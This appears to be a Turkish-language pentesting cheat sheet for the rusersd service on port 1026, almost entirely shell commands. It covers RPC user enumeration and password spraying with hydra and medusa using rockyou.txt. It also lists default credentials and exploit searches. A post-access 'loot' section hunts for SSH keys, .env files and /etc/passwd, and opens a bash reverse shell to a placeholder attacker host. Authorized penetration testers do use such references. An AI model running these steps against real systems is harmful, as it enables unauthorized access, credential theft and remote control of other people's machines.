1026 - Pentesting Rusersd
rusersd enum
rusersd RPC üzerinden oturum açmış kullanıcıları sızdırır; parola istemez. Çıktı sonraki spray için kullanıcı listesidir.
Metodoloji
Section titled “Metodoloji”-
rpcbind ile rusers bul.
-
rusers -a ile kullanıcıları çek.
-
Listeyi dosyaya yaz.
-
rsh/SSH spreyi ile doğrula.
nmap -Pn -sU -sV -p111,1026 TARGETrpcinfo -p TARGETnmap -p111 --script rpcinfo,rusers TARGETKullanıcı enum
Section titled “Kullanıcı enum”rusers -a TARGETrusers -l TARGETrusers -a TARGET | awk '{print $1}' | sort -u > users.txtZincirleme
Section titled “Zincirleme”hydra -L users.txt -P rockyou.txt ssh://TARGET -t 4rsh TARGET -l $(head -1 users.txt) idDerin enum
Section titled “Derin enum”Rusersd için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p1026 TARGETnmap -Pn -p1026 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:1026' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',1026));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → RusersdKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 1026 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 1026nmap -p1026 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit rusersdmsfconsole -q -x 'search rusersd; exit'nuclei -u https://TARGET:1026 -t cves/ -silent -severity || truenuclei -u http://TARGET:1026 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 1026printf '' | timeout 3 nc -nv TARGET 1026curl -vk --http1.0 http://TARGET:1026/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”rpcinfo → rusers → users.txt → ssh/rsh spray